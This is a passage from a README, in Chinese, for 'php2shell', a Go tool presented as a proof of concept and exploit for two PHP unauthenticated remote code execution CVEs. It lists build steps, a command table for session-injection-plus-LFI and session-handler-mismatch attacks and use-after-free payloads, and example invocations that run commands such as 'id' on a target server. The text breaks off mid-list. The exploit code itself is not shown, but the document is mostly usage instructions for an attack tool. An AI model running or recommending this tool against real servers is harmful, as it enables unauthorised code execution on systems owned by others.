CVE-2026-109618 / CVE-2026-109619 PHP PoC and exploit tool (single-file Go)
# php2shell
CVE-2026-109618 / CVE-2026-109619 的 PHP 未授权 RCE PoC 与 EXP 工具。
整个项目只有一个 Go 源文件:`php2shell.go`。
- 只使用 Go 标准库
- 编译后只有一个二进制,无运行时依赖
- 不需要 Python、Docker、本地 Web 服务器或任何外部文件
- 不包含靶场、检测规则或其他脚本
> 工具本身不启动任何服务。`--target` 指向的 PHP 服务就是测试目标。
## 构建
需要 Go 1.22 或更高版本。
预编译的 Linux / Windows / macOS 二进制见 [Releases](https://github.com/open0x01/php2shell/releases)。
项目没有 `go.mod`,构建时必须指定源文件名:
```bash
go build -o php2shell php2shell.go
```
Windows:
```powershell
go build -o php2shell.exe php2shell.go
```
也可以直接运行:
```bash
go run php2shell.go help
```
交叉编译示例:
```bash
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o php2shell-linux-amd64 php2shell.go
```
## 命令
| 命令 | 作用 |
|------|------|
| `exp lfi` | 会话注入 + LFI → RCE |
| `exp destruct` | handler 不匹配 → `__destruct` → RCE |
| `poc session` | 验证会话文件注入 |
| `poc mismatch` | 验证 session handler 不匹配 |
| `poc oom` | 验证 OOM bailout |
| `poc fpm` | 验证 FPM 跨请求残留 `BG()` 状态 |
| `payload uaf` | 输出 UAF → `var_dump` handler 覆盖 payload |
| `payload asan` | 输出 var_destroy UAF 的 ASan 验证 payload |
| `payload list` | 列出内置 payload |
| `version` | 输出版本 |
| `help` | 输出帮助 |
所有网络命令都支持:
```text
--target http://HOST:PORT
```
或:
```text
--host HOST --port PORT [--tls] [--insecure]
```
使用 `php2shell <command> -h` 查看某个命令的全部参数。
## 示例
### 会话注入 + LFI
```bash
php2shell exp lfi \
--target http://TARGET:8080 \
--command 'id'
```
目标启用了 `session.upload_progress.cleanup=On` 时:
```bash
php2shell exp lfi \
--target http://TARGET:8080 \
--cleanup-on \
--command 'id'
```
常用参数:
```text
--inject-path 任意可接收 POST 的 PHP 端点,默认 /index.php
--lfi-path 存在 LFI 的路径,默认 /vuln.php
--session-path 目标上的 PHP session 保存路径,默认 /tmp/sessions
```
### Handler 不匹配
```bash
php2shell exp destruct \
--target http://TARGET:8080 \
--command 'id > /tmp/rce_proof.txt 2>&1'
```
默认路径和 gadget 需要按目标环境调整:
```text
--pollute-path 设置 session.serialize_handler=php_serialize 的端点
--upload-path 用于注入 session 的 PHP 端点
--trigger-path 使用 php handler 并调用 session_